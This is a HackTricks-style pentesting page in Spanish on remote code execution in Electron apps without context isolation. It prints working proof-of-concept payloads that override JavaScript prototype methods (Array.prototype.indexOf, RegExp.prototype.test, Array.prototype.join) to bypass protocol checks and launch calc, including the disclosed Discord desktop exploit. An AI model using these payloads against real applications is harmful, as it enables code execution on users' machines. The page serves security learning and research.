Electron contextIsolation RCE via preload code

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Ejemplo 1

Ejemplo de https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Este código abre enlaces http(s) con el navegador predeterminado:

Algo como file:///C:/Windows/systemd32/calc.exe podría usarse para ejecutar una calculadora, el SAFE_PROTOCOLS.indexOf lo está previniendo.

Por lo tanto, un atacante podría inyectar este código JS a través de XSS o navegación arbitraria de páginas:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Como la llamada a SAFE_PROTOCOLS.indexOf siempre devolverá 1337, el atacante puede eludir la protección y ejecutar el calc. Exploit final:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Revisa las diapositivas originales para otras formas de ejecutar programas sin que aparezca un aviso pidiendo permisos.

Aparentemente, otra forma de cargar y ejecutar código es acceder a algo como file://127.0.0.1/electron/rce.jar

Ejemplo 2: RCE de la aplicación Discord

Ejemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Al revisar los scripts de precarga, descubrí que Discord expone la función, que permite que algunos módulos permitidos sean llamados a través de DiscordNative.nativeModules.requireModule('MODULE-NAME'), en la página web. Aquí, no pude usar módulos que se pueden utilizar para RCE directamente, como el módulo child_process, pero encontré un código donde se puede lograr RCE al sobrescribir los métodos incorporados de JavaScript e interferir con la ejecución del módulo expuesto.

Lo siguiente es la PoC. Pude confirmar que la aplicación calc se abre cuando llamo a la función getGPUDriverVersions que está definida en el módulo llamado "discord_utils" desde devTools, mientras sobrescribo RegExp.prototype.test y Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

La función getGPUDriverVersions intenta ejecutar el programa utilizando la biblioteca "execa", como se muestra a continuación:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Normalmente, el execa intenta ejecutar "nvidia-smi.exe", que está especificado en la variable nvidiaSmiPath, sin embargo, debido a la sobreescritura de RegExp.prototype.test y Array.prototype.join, el argumento se reemplaza por "calc" en el procesamiento interno de _execa_**.

Específicamente, el argumento se reemplaza cambiando las siguientes dos partes.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated